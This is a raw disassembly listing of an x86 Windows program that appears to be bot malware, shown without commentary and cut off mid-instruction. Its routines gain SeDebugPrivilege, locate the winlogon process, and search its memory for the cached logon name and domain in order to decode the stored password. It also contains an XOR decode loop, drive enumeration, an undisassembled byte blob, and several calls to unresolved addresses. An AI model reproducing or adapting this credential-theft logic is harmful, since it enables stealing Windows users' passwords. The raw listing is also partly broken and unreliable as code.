___:0041669Fj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_4376D4 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: ___:004167D3j lea eax, [ebp-510h] push eax call sub_4151AC push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D158 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi call near ptr 2660C90h nop cmp eax, edi jnz short loc_416877 call dword_4CAEFC call sub_418359 push esi nop call near ptr 77E75CB5h loc_416877: ; CODE XREF: ___:00416863j lea eax, [ebp-148h] push eax push offset unk_4376A0 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: ___:0041643Ej lea eax, [ebp-248h] push eax push offset unk_437674 loc_416891: ; CODE XREF: ___:00416883j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: ___:004168A3j lea eax, [ebp-510h] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: ___:00416695j ; ___:0041671Ej ... push dword ptr [ebp-18h] call dword_4CAFD8 push dword ptr [ebp-48h] call sub_40B412 pop ecx push esi call near ptr 26E0A63h nop ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: ___:00416517p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D2BD8 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CB004 sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_437864 retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437860 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CAE94 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_4378B4 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437878 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CAF0C lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CAF0C cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset aA_1 ; "A:\\" push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; --------------------------------------------------------------------------- byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 79146850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h dd 8D5018C4h, 0FFFB6485h, 78F468FFh, 0E8500043h, 4B06h dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h dd 90535959h, 2C9C9EE8h, 5B5E5F02h, 81EC8B55h, 54CECh dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 5868FFFFh dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h dd 93ECBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 36917FE8h, 75C08502h dd 0FC75FF8Fh, 349173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 43793Ch dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h dd 50FFFFFEh, 90FAE856h, 85900236h, 56B175C0h, 90EEE890h dd 458B0234h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_437B30 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 26A0D09h mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D3E1C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D3E10, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D4020, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D3E18, eax call esi mov dword_4D3E14, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D2E10 push edi push ebx push offset off_437A6C call esi push edi mov edi, offset dword_4D3610 push edi push offset off_437A54 call esi cmp [ebp+var_4], 1 push offset dword_4D4028 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D4028, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_4379F8 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_4379C0 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_437994 loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] nop call near ptr 27B044Fh pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437960 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26E0A63h pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D3E1C push ebp push 0 call esi push eax nop call near ptr 27C0000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D3E1C test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D3E10 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D4020 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D3E18 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi push eax call near ptr 27C0000h nop mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D3E18 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 2680243h cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27E0000h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 27D0B58h test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D2E10 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D3610 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2770000h test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2760897h test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4034, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D402C, eax mov dword_4D4030, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi push eax call near ptr 27C0000h nop mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] nop call near ptr 26609B7h pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call near ptr 2680243h nop test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call near ptr 27E0000h nop mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27D0B58h test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi push eax call near ptr 27D0000h nop mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 27D0D63h test eax, eax jz short loc_4174E5 push offset dword_4D2E10 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D3610 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi push eax nop call near ptr 27C0000h jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] call near ptr 26609B7h nop loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D402C, ebx mov dword_4D4030, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx call near ptr 26609B7h nop push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D4028 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 27D0000h mov ecx, dword_4D4028 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4030 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4034 push eax call dword_4D3E14 push [ebp+var_4] mov edi, offset dword_4D3E20 push offset dword_4D2E10 push offset 